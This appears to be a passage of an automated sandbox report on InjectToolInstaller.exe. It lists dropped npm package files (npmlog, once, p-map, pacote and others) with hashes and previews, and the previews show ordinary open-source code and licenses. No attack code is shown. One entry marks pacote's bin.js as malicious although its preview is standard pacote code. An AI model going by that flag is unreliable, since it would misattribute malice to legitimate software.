Encrypted:	false
SSDEEP:	24:p3KomL1GsyvaTMk67znqEQRPFxtaYmrja30oaOjXawj5aBHuTykvguocuk3:p3EMHzfsPTtmj4Pr9EHluRuk3
MD5:	DB851A32BD15E05899AA564FD5D18FE4
SHA1:	B9DF19B423ABF94AEC9C4D3DBEE373AD9B7D4672
SHA-256:	4870D8D84E38020DC37FB3ACEC03A3084791BEFFFD3BB6A952B58AEFA9670327
SHA-512:	C9F19A1CA204CD8BEA2E610E0C073230367BF59201D714D1536B79863C7026765848A145C697D206B775E80089770053DAAA0B402F6A6B5E113DCE27B32F3FB6
Malicious:	false
Preview:	exports.email = email.exports.pw = pw.exports.username = username.var requirements = exports.requirements = {. username: {. length: 'Name length must be less than or equal to 214 characters long',. lowerCase: 'Name must be lowercase',. urlSafe: 'Name may not contain non-url-safe chars',. dot: 'Name may not start with "."',. illegal: 'Name may not contain illegal character',. },. password: {},. email: {. length: 'Email length must be less then or equal to 254 characters long',. valid: 'Email must be an email address',. },.}..var illegalCharacterRe = new RegExp('([' + [. "'",.].join() + '])')..function username (un) {. if (un !== un.toLowerCase()) {. return new Error(requirements.username.lowerCase). }.. if (un !== encodeURIComponent(un)) {. return new Error(requirements.username.urlSafe). }.. if (un.charAt(0) === '.') {. return new Error(requirements.username.dot). }.. if (un.length > 214) {. return new Error(requirements.username.length).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npm-user-validate\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1085
Entropy (8bit):	4.700895257716397
Encrypted:	false
SSDEEP:	24:713PoA8LIFkXdwD9KFw1ehPFDbK6gu6geJo6313mYr:R3z8seXi9F1ehPxe0efF3me
MD5:	0B137A0A05BE86EBF11040FEEB045189
SHA1:	CCA122BB6C3BB41B6EAF1D570CB0225EFD138A1B
SHA-256:	05E1F214CC2DD993012041D643B4EAA1E216E91349342CA9C3E9FAEB8FBC41D3
SHA-512:	7705BBA69E601BEEE1BA781C5ABBDBA7E916BB51454056C42E380E78849CA9B0A0534F3C5891DC686FFB772362C39F21790B494FD0AB1F787A94D3294FA6B380
Malicious:	false
Preview:	{. "name": "npm-user-validate",. "version": "2.0.0",. "description": "User validations for npm",. "main": "lib/index.js",. "devDependencies": {. "@npmcli/eslint-config": "^4.0.1",. "@npmcli/template-oss": "4.11.0",. "tap": "^16.3.2". },. "scripts": {. "test": "tap",. "lint": "eslint \"*/.js\"",. "postlint": "template-oss-check",. "template-oss-apply": "template-oss-apply --force",. "lintfix": "npm run lint -- --fix",. "snap": "tap",. "posttest": "npm run lint". },. "repository": {. "type": "git",. "url": "https://github.com/npm/npm-user-validate.git". },. "keywords": [. "npm",. "validation",. "registry". ],. "author": "GitHub Inc.",. "license": "BSD-2-Clause",. "files": [. "bin/",. "lib/". ],. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "templateOSS": {. "//@npmcli/template-oss": "This file is partially managed by @npmcli/template-oss. Edits may be overwritten.",. "version": "4.11.0". },

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npmlog\LICENSE.md

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	exported SGML document, ASCII text
Category:	dropped
Size (bytes):	798
Entropy (8bit):	5.092418661626419
Encrypted:	false
SSDEEP:	12:jANOU+xXS4duNXc1EanmmBq6KX9KLZXOj1HUXUjBjz2AvzPpkhy9gp3ew:jAaCIuwEedq6s9oOBAUjBjn6aq3ew
MD5:	C637D431AC5FAADB34AFF5FBD6985239
SHA1:	0E28FD386CE58D4A8FCBF3561DDAACD630BC9181
SHA-256:	27D998B503B18CDB16C49E93DA04069A99BA8A1D7E18D67146DE8E242F9A6D21
SHA-512:	A4B744C1D494FCC55CD223C8B7B0AD53F3637AAC05FE5C9A2BE41C5F5E117610C75A323C7745DFEAE0DB4126F169C2B7B88649412B6044BA4A94E9A4D8D62535
Malicious:	false
Preview:	This file is automatically added by @npmcli/template-oss. Do not edit. -->..ISC License..Copyright npm, Inc...Permission to use, copy, modify, and/or distribute this.software for any purpose with or without fee is hereby.granted, provided that the above copyright notice and this.permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND NPM DISCLAIMS ALL.WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL.IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO.EVENT SHALL NPM BE LIABLE FOR ANY SPECIAL, DIRECT,.INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,.WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER.TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE.USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npmlog\lib\log.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	9024
Entropy (8bit):	4.828128507178516
Encrypted:	false
SSDEEP:	192:op+pxDVKKDvEXMqlKM85EXlM0hV5L2p6QC9Bjoqa90WmCorRpKWRN2Gf:opixDVKlNMUPLO6QC9BjkmvKQf
MD5:	C6F5CD009C2AC25A8450E4137AF6ED7D
SHA1:	081829AE7DDD7E7BCE7D77CBA34340258030AD56
SHA-256:	997590661C47FB68694CBD3CD68DD68AC2B98C34E6666EEECFD908760F8B7200
SHA-512:	08171EFDE88FEA9D73451FBDE5973865F17956AEF74D8CB51302451BCF777A2C15F81712686544302D683C19B079D1234AFD35355C35C2FA9A3E9E905AF3A2BF
Malicious:	false
Preview:	'use strict'.var Progress = require('are-we-there-yet').var Gauge = require('gauge').var EE = require('events').EventEmitter.var log = exports = module.exports = new EE().var util = require('util')..var setBlocking = require('set-blocking').var consoleControl = require('console-control-strings')..setBlocking(true).var stream = process.stderr.Object.defineProperty(log, 'stream', {. set: function (newStream) {. stream = newStream. if (this.gauge) {. this.gauge.setWriteTo(stream, stream). }. },. get: function () {. return stream. },.})..// by default, decide based on tty-ness..var colorEnabled.log.useColor = function () {. return colorEnabled != null ? colorEnabled : stream.isTTY.}..log.enableColor = function () {. colorEnabled = true. this.gauge.setTheme({ hasColor: colorEnabled, hasUnicode: unicodeEnabled }).}.log.disableColor = function () {. colorEnabled = false. this.gauge.setTheme({ hasColor: colorEnabled, hasUnicode: unicodeEnabled }).}..// default level.l

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\npmlog\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.675685647080967
Encrypted:	false
SSDEEP:	24:MJ7113Xzen2KFEP8LJDV8LIFh0Fkgo5YOJo631m:qz3Xzen2/P8Nx8sP2ZqLfFm
MD5:	31AEC045D944FB4C6E0BE1A45CD26FDE
SHA1:	679290E78C9333DB478AB30E3263B3FF560C5E88
SHA-256:	5F8A4E521CAEAD9265BC6D32FFF91507485F8F64F83E4F585FE2153281D2E632
SHA-512:	AF9277A85258A2B2993CBE102E143760BC8594793A6A8232651AE43849E2C5B71B7C75F24A97D5AD950185610BC853D23600B25B97BBE7E489447BCC0012FD44
Malicious:	false
Preview:	{. "author": "GitHub Inc.",. "name": "npmlog",. "description": "logger for npm",. "version": "7.0.1",. "repository": {. "type": "git",. "url": "https://github.com/npm/npmlog.git". },. "main": "lib/log.js",. "files": [. "bin/",. "lib/". ],. "scripts": {. "test": "tap",. "npmclilint": "npmcli-lint",. "lint": "eslint \"*/.js\"",. "lintfix": "npm run lint -- --fix",. "posttest": "npm run lint",. "postsnap": "npm run lintfix --",. "postlint": "template-oss-check",. "snap": "tap",. "template-oss-apply": "template-oss-apply --force". },. "dependencies": {. "are-we-there-yet": "^4.0.0",. "console-control-strings": "^1.1.0",. "gauge": "^5.0.0",. "set-blocking": "^2.0.0". },. "devDependencies": {. "@npmcli/eslint-config": "^4.0.0",. "@npmcli/template-oss": "4.6.1",. "tap": "^16.0.1". },. "license": "ISC",. "engines": {. "node": "^14.17.0 \|\| ^16.13.0 \|\| >=18.0.0". },. "tap": {. "branches": 95,. "nyc-arg": [.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\once\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	765
Entropy (8bit):	4.999520559493967
Encrypted:	false
SSDEEP:	12:9FM9Z7TES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2PF3t:9SZvICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	82703A69F6D7411DDE679954C2FD9DCA
SHA1:	BB408E929CAEB1731945B2BA54BC337EDB87CC66
SHA-256:	4EC3D4C66CD87F5C8D8AD911B10F99BF27CB00CDFCFF82621956E379186B016B
SHA-512:	3FA748E59FB3AF0C5293530844FAA9606D9271836489D2C8013417779D10CC180187F5E670477F9EC77D341E0EF64EAB7DCFB876C6390F027BC6F869A12D0F46
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\once\once.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.542537392816871
Encrypted:	false
SSDEEP:	24:BBkBkP1BNdyYkNWBdZYdlNUWAeKgKhBYoCl/EKgKhBYrqwR:BG+thkNW3OdlNUWAeKgKhBY3l/EKgKhu
MD5:	D1D6962324348AD89BF780A233952C61
SHA1:	F78C8CB8D754261B59D03E867F329C2FFDEFAE45
SHA-256:	3DB73E347ECBDBAFDF8D0DB85145C877E133F5372E767360EF90C09F70AC5103
SHA-512:	9D9667F080E1534260C68A57AAF1D1DB368BD03D8C998D4B5DD3DF68DDE1889E237BB735D73D29D65BDA50C05BF87CC3637CE504BC885E32D2C908D706F3DC9F
Malicious:	false
Preview:	var wrappy = require('wrappy').module.exports = wrappy(once).module.exports.strict = wrappy(onceStrict)..once.proto = once(function () {. Object.defineProperty(Function.prototype, 'once', {. value: function () {. return once(this). },. configurable: true. }).. Object.defineProperty(Function.prototype, 'onceStrict', {. value: function () {. return onceStrict(this). },. configurable: true. }).})..function once (fn) {. var f = function () {. if (f.called) return f.value. f.called = true. return f.value = fn.apply(this, arguments). }. f.called = false. return f.}..function onceStrict (fn) {. var f = function () {. if (f.called). throw new Error(f.onceError). f.called = true. return f.value = fn.apply(this, arguments). }. var name = fn.name \|\| 'Function wrapped with `once`'. f.onceError = name + " shouldn't be called more than once". f.called = false. return f.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\once\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	574
Entropy (8bit):	4.4930652660701815
Encrypted:	false
SSDEEP:	12:u1o1YRm8rcVHAsENqn0dFnWjVzkVYbmF2MOjYOxDdrLnC:u1o18XmnL0jWU0hh9e
MD5:	AFB6EA3BDCAD6397E11A71615BD06E3B
SHA1:	B2456F0417AD4F7DEC058401908740C4DA1EE7BA
SHA-256:	33840D74C14C94BFB75C76374765B635531B1EACB88D7F1F2F380C94D0EA1328
SHA-512:	8DF1B789C54D844CBBAC3AB99E82893F971F8F3D436F7319A4D2ED7757AB85B945D82F021E9AB1D6DBBB35FAB7FD1F9F84E470E525F56C4F4308ADBFA76868DC
Malicious:	false
Preview:	{. "name": "once",. "version": "1.4.0",. "description": "Run a function exactly one time",. "main": "once.js",. "directories": {. "test": "test". },. "dependencies": {. "wrappy": "1". },. "devDependencies": {. "tap": "^7.0.1". },. "scripts": {. "test": "tap test/*.js". },. "files": [. "once.js". ],. "repository": {. "type": "git",. "url": "git://github.com/isaacs/once". },. "keywords": [. "once",. "function",. "one",. "single". ],. "author": "Isaac Z. Schlueter <i@izs.me> (http://blog.izs.me/)",. "license": "ISC".}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\p-map\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1640
Entropy (8bit):	4.8240498635438005
Encrypted:	false
SSDEEP:	48:KCiZl4NZVflM86khI79JecnD0K1rMJjNDKeo/W:KCZnM85I79JaMraNaW
MD5:	52156C8916D49C965110282D44866995
SHA1:	5435C06290494677E8D7A3819ADFD24537818B19
SHA-256:	0948A5674610F016C9FC9CB00E966C30E4B569ECAF6C59CEB59DA956C831E208
SHA-512:	5F9D0B7A307AD7F51D4CA9E4E27AA0627E2074BD9B6260A142DEC5993D12F8E7D907832EAA5F7A6BF43696F28916117BF06AC59705699BB1A073C51CFFB314B0
Malicious:	false
Preview:	'use strict';.const AggregateError = require('aggregate-error');..module.exports = async (..iterable,..mapper,..{...concurrency = Infinity,...stopOnError = true..} = {}.) => {..return new Promise((resolve, reject) => {...if (typeof mapper !== 'function') {....throw new TypeError('Mapper function is required');...}....if (!((Number.isSafeInteger(concurrency) \|\| concurrency === Infinity) && concurrency >= 1)) {....throw new TypeError(`Expected \`concurrency\` to be an integer from 1 and up or \`Infinity\`, got \`${concurrency}\` (${typeof concurrency})`);...}....const result = [];...const errors = [];...const iterator = iterable[Symbol.iterator]();...let isRejected = false;...let isIterableDone = false;...let resolvingCount = 0;...let currentIndex = 0;....const next = () => {....if (isRejected) {.....return;....}.....const nextItem = iterator.next();....const index = currentIndex;....currentIndex++;.....if (nextItem.done) {.....isIterableDone = true;......if (resolvingCount === 0) {.....

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\p-map\license

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text, with very long lines (460)
Category:	dropped
Size (bytes):	1117
Entropy (8bit):	5.079903213409815
Encrypted:	false
SSDEEP:	24:FHr4JHBH0yPP3gtAHw1hl9QHcsUv48Ok4/+dbo3oqxFD:FH8JplPvEDvQHcs5ITc3omFD
MD5:	D5F2A6DD0192DCC7C833E50BB9017337
SHA1:	80674912E3033BE358331910BA27D5812369C2FC
SHA-256:	5C932D88256B4AB958F64A856FA48E8BD1F55BC1D96B8149C65689E0C61789D3
SHA-512:	D1F336FF272BC6B96DC9A04A7D0EF8F02936DD594F514060340478EE575FE01D55FC7A174DF5814A4FAF72C8462B012998ECA7BB898E3F9A3E87205FB9135AF2
Malicious:	false
Preview:	MIT License..Copyright (c) Sindre Sorhus <sindresorhus@gmail.com> (https://sindresorhus.com)..Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\p-map\package.json

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.792298739805392
Encrypted:	false
SSDEEP:	24:h816ImMU8YwQd2DT8LHGM2Mj5lrPkvQnS280f:h865oYwQd2cLmP45lDOuf
MD5:	DDE3F78CBB3BBACCCED714F86A9CA745
SHA1:	5F275DE37ED635969B147D1ADAC21FD6D36CED42
SHA-256:	6F0AEB7043D0737E5BCAF8C2BF83B4A8DED247922ACA592D684E37499D028AE7
SHA-512:	6BD18E795B6006B9EAE7E74D490BA2A2C1FDEC18A87938B8C96F8FFFD25C834F3ABC164FB6EAB327B2C0D5F994C0D8897F8CB2917E3B7CD28E0897C0ABB72E7B
Malicious:	false
Preview:	{.."name": "p-map",.."version": "4.0.0",.."description": "Map over promises concurrently",.."license": "MIT",.."repository": "sindresorhus/p-map",.."funding": "https://github.com/sponsors/sindresorhus",.."author": {..."name": "Sindre Sorhus",..."email": "sindresorhus@gmail.com",..."url": "https://sindresorhus.com"..},.."engines": {..."node": ">=10"..},.."scripts": {..."test": "xo && ava && tsd"..},.."files": [..."index.js",..."index.d.ts"..],.."keywords": [..."promise",..."map",..."resolved",..."wait",..."collection",..."iterable",..."iterator",..."race",..."fulfilled",..."async",..."await",..."promises",..."concurrently",..."concurrency",..."parallel",..."bluebird"..],.."dependencies": {..."aggregate-error": "^3.0.0"..},.."devDependencies": {..."ava": "^2.2.0",..."delay": "^4.1.0",..."in-range": "^2.0.0",..."random-int": "^2.0.0",..."time-span": "^3.1.0",..."tsd": "^0.7.4",..."xo": "^0.27.2"..}.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\LICENSE

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	791
Entropy (8bit):	5.036216633726007
Encrypted:	false
SSDEEP:	12:9FM9ZLJDTES4dCPXeTbbtLgmq6KX9KsA8dXsrUXA3+PPRz2AvzT3kEmy2CKrK2Pb:9SZLJ3ICCtEmq6s9iOnc4PRnA+KpF3ew
MD5:	305FCF7ED7C4AA4A8E6F33DF54488D17
SHA1:	959D146990E87B9DD1EAE8815E072BD2450209C3
SHA-256:	36EC394CD0F976603CFEC687C19175A703C1C0D9DB717A76915391E756522C8E
SHA-512:	271DAAEA506DABAA0082E90C1960174D774F4B1FB360668E7B0CE8B91D0F4E59161A307AE5583032FEA40C10AE7D13CB74F5B4AFF779EE2B3DDA616F0B180C96
Malicious:	false
Preview:	The ISC License..Copyright (c) Isaac Z. Schlueter, Kat March.n, npm, Inc., and Contributors..Permission to use, copy, modify, and/or distribute this software for any.purpose with or without fee is hereby granted, provided that the above.copyright notice and this permission notice appear in all copies...THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES.WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF.MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR.ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES.WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN.ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR.IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE..

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\bin.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	a /usr/bin/env node script, ASCII text executable
Category:	dropped
Size (bytes):	3982
Entropy (8bit):	4.6967678740250385
Encrypted:	false
SSDEEP:	96:rsJmcJgh3XywJc6OJcgP8TxNyV6cAx+sVNRQHwcqhfNcc7L/:I0cuiwHOJA8oNLdhff7L/
MD5:	03436E60A7EE2E9A5E368F7DC3AAEB6C
SHA1:	F27AB95322268998CC25C905BE9E6F58F9B2B91E
SHA-256:	FBCDD6E4D3EA97E03D45A908CC143760E8908B59AADF7C27384A148AE19455C7
SHA-512:	4B5037219BD8A489DA3F136904D5F3C26D63775118F4C6EB00935B49143E3B8266A8B97CAFEC70524144FFCF45B0756E6D90512AD081DB98B3076C5650311A96
Malicious:	true
Preview:	#!/usr/bin/env node..const run = conf => {. const pacote = require('../'). switch (conf._[0]) {. case 'resolve':. case 'manifest':. case 'packument':. if (conf._[0] === 'resolve' && conf.long) {. return pacote.manifest(conf._[1], conf).then(mani => ({. resolved: mani._resolved,. integrity: mani._integrity,. from: mani._from,. })). }. return pacote[conf._[0]](conf._[1], conf).. case 'tarball':. if (!conf._[2] \|\| conf._[2] === '-') {. return pacote.tarball.stream(conf._[1], stream => {. stream.pipe(. conf.testStdout \|\|. /* istanbul ignore next */. process.stdout. ). // make sure it resolves something falsey. return stream.promise().then(() => {. return false. }). }, conf). } else {. return pacote.tarball.file(conf._[1], conf._[2], conf). }.. case 'extract':. return pacote.extract(conf._[1

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\dir.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3230
Entropy (8bit):	4.605747958303223
Encrypted:	false
SSDEEP:	96:W7CQWNz4Y1iMyqWIDvrYF+QaCZ+/Z7i6pCg3wWWyVa6:aCQWNz4Y1TyqWI3YSCZ+/t/ZgWWMa6
MD5:	997570A9903B1557969BADF71983099B
SHA1:	7ED38C19C5B9D8B97F67CE82AF3BA9449EF72E8F
SHA-256:	3898E42E6F8D910FB939DD61BD5033F81A26881E1CD97C16F5DAE3C9A4D2C581
SHA-512:	C6BA3F9F9EF776FEB528F3D5FED2F9397E07675621A3FBF0899D3A4490C4ADC5B7B14E81F63B527103EF9CC26D48D400E4C8609BD7416E1B029490AA8163C77E
Malicious:	false
Preview:	const Fetcher = require('./fetcher.js').const FileFetcher = require('./file.js').const { Minipass } = require('minipass').const tarCreateOptions = require('./util/tar-create-options.js').const packlist = require('npm-packlist').const tar = require('tar').const _prepareDir = Symbol('_prepareDir').const { resolve } = require('path').const _readPackageJson = Symbol.for('package.Fetcher._readPackageJson')..const runScript = require('@npmcli/run-script')..const _tarballFromResolved = Symbol.for('pacote.Fetcher._tarballFromResolved').class DirFetcher extends Fetcher {. constructor (spec, opts) {. super(spec, opts). // just the fully resolved filename. this.resolved = this.spec.fetchSpec.. this.tree = opts.tree \|\| null. this.Arborist = opts.Arborist \|\| null. }.. // exposes tarCreateOptions as public API. static tarCreateOptions (manifest) {. return tarCreateOptions(manifest). }.. get types () {. return ['directory']. }.. [_prepareDir] () {. return this.manifest

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\fetcher.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	17137
Entropy (8bit):	4.6881219370856355
Encrypted:	false
SSDEEP:	384:ZQKYtfC9d4eUFH987SVOoaoARczXy46uKDM3dixnpUeQcaZnh:ZQKqfC9vPs1K/Q9h
MD5:	552C8F10ADA6A090CFADDE595536DA75
SHA1:	E056550905D741E3C41BC3E9DAD15B75F5A7D331
SHA-256:	07F98090EE5BC371E74B80C9963540EA437DC813DF06E66FF87F9586EDA93A13
SHA-512:	53E3388CBE6885D4F909749AAE323F3763815BA9A2BA241AE525E89E62D61587054FFA842008C740F6E0F09655AB65C4E66BBFC55FC2A6D167652CD6710F0CB9
Malicious:	false
Preview:	// This is the base class that the other fetcher types in lib.// all descend from..// It handles the unpacking and retry logic that is shared among.// all of the other Fetcher types...const npa = require('npm-package-arg').const ssri = require('ssri').const { promisify } = require('util').const { basename, dirname } = require('path').const tar = require('tar').const log = require('proc-log').const retry = require('promise-retry').const fs = require('fs/promises').const fsm = require('fs-minipass').const cacache = require('cacache').const isPackageBin = require('./util/is-package-bin.js').const removeTrailingSlashes = require('./util/trailing-slashes.js').const getContents = require('@npmcli/installed-package-contents').const readPackageJsonFast = require('read-package-json-fast').const readPackageJson = promisify(require('read-package-json')).const { Minipass } = require('minipass')..const cacheDir = require('./util/cache-dir.js')..// Private methods..// Child classes should not have t

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\file.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2711
Entropy (8bit):	4.564047127054555
Encrypted:	false
SSDEEP:	48:RD/+JzljfQ/jN/qHO9wQd/WwuIrDmBRVdK9RK8dhIavRVISTugqQqPnd1qv:R+QjNCHIwIWwbrDmLHqRXIERVISdqQqQ
MD5:	03C00C69BB87FCBE94C70DF7ABF86315
SHA1:	E8C17AD0B7ED3F3C4F63B2CCAD5FF098F3B1C6C8
SHA-256:	FDCBE028DBDBF86C8D8914C031870DE79C5E5638B50472D7A54F4A8B30F3290D
SHA-512:	D7C59F8099985477C12ED715EDADC3A706BBB767619A31FDA61590E5A8B619A9C5275F52B72AD7707E530309E97A57D954922FE016968AB8F8A1260A6FA0D1C9
Malicious:	false
Preview:	const Fetcher = require('./fetcher.js').const fsm = require('fs-minipass').const cacache = require('cacache').const _tarballFromResolved = Symbol.for('pacote.Fetcher._tarballFromResolved').const _exeBins = Symbol('_exeBins').const { resolve } = require('path').const fs = require('fs').const _readPackageJson = Symbol.for('package.Fetcher._readPackageJson')..class FileFetcher extends Fetcher {. constructor (spec, opts) {. super(spec, opts). // just the fully resolved filename. this.resolved = this.spec.fetchSpec. }.. get types () {. return ['file']. }.. manifest () {. if (this.package) {. return Promise.resolve(this.package). }.. // have to unpack the tarball for this.. return cacache.tmp.withTmp(this.cache, this.opts, dir =>. this.extract(dir). .then(() => this[_readPackageJson](dir + '/package.json')). .then(mani => this.package = {. ...mani,. _integrity: this.integrity && String(this.integrity),. _resolved

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\git.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11756
Entropy (8bit):	4.639690535422432
Encrypted:	false
SSDEEP:	192:lK13dsXepL24231eoKvbIL5Kz6BKuD0/Pa3ky27pbZvANsZ3mmbgm6qYKyJW1LlR:QcXepL2Ds64uD0/Pa37+ZflpkmYKN1xR
MD5:	7F4F105D5835EE7A3A985DDAE0C32908
SHA1:	114B3219DF8078895422BF242F8CC8CD9BBC15E2
SHA-256:	CEE66847D4F8B52D6C4A5BD767BB7DE2AB9C4F1BFC244B885D890558B4223C93
SHA-512:	2A195813AF162ACFCC6004B1AEB3C04EB87BB6FEB2EC344A1BB0253A4E4A3A04F6ACE52A78AE8E376F5C0D8B1030530F9D2482564EAD5CF5738D339AF0A69AFF
Malicious:	false
Preview:	const Fetcher = require('./fetcher.js').const FileFetcher = require('./file.js').const RemoteFetcher = require('./remote.js').const DirFetcher = require('./dir.js').const hashre = /^[a-f0-9]{40}$/.const git = require('@npmcli/git').const pickManifest = require('npm-pick-manifest').const npa = require('npm-package-arg').const { Minipass } = require('minipass').const cacache = require('cacache').const log = require('proc-log').const npm = require('./util/npm.js')..const _resolvedFromRepo = Symbol('_resolvedFromRepo').const _resolvedFromHosted = Symbol('_resolvedFromHosted').const _resolvedFromClone = Symbol('_resolvedFromClone').const _tarballFromResolved = Symbol.for('pacote.Fetcher._tarballFromResolved').const _addGitSha = Symbol('_addGitSha').const addGitSha = require('./util/add-git-sha.js').const _clone = Symbol('_clone').const _cloneHosted = Symbol('_cloneHosted').const _cloneRepo = Symbol('_cloneRepo').const _setResolvedWithSha = Symbol('_setResolvedWithSha').const _prepareDir = S

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\pacote\lib\index.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	826
Entropy (8bit):	4.680516816553542
Encrypted:	false
SSDEEP:	24:tepgkg61gWdgCg7BB1h81jsbxtfh+G0BIaqpGBIN7BG:gnXtNAlhAjsbb5+TmVGmpA
MD5:	ED7472A3CA42D349321C0A76FFE138FE
SHA1:	3EEA7A696FBA09C079571B63C23F83B96BE2EFDF
SHA-256:	D288C44E70E5BCA9B5BD876E28337D9A5828CF517CAB5BDB29608A23BE42D253
SHA-512:	D4D14E3DAE9DA8E88D4AF73AF50BC805E085D1AB073100C882667AEE798B00EC0E500CC421D841787EB57CC6BC7CC667A9C768ECBEC9B45DD94D69346CADD665
Malicious:	false
Preview:	const { get } = require('./fetcher.js').const GitFetcher = require('./git.js').const RegistryFetcher = require('./registry.js').const FileFetcher = require('./file.js').const DirFetcher = require('./dir.js').const RemoteFetcher = require('./remote.js')..module.exports = {. GitFetcher,. RegistryFetcher,. FileFetcher,. DirFetcher,. RemoteFetcher,. resolve: (spec, opts) => get(spec, opts).resolve(),. extract: (spec, dest, opts) => get(spec, opts).extract(dest),. manifest: (spec, opts) => get(spec, opts).manifest(),. tarball: (spec, opts) => get(spec, opts).tarball(),. packument: (spec, opts) => get(spec, opts).packument(),.}.module.exports.tarball.stream = (spec, handler, opts) =>. get(spec, opts).tarballStream(handler).module.exports.tarball.file = (spec, dest, opts) =>. get(spec, opts).tarballFile(dest).

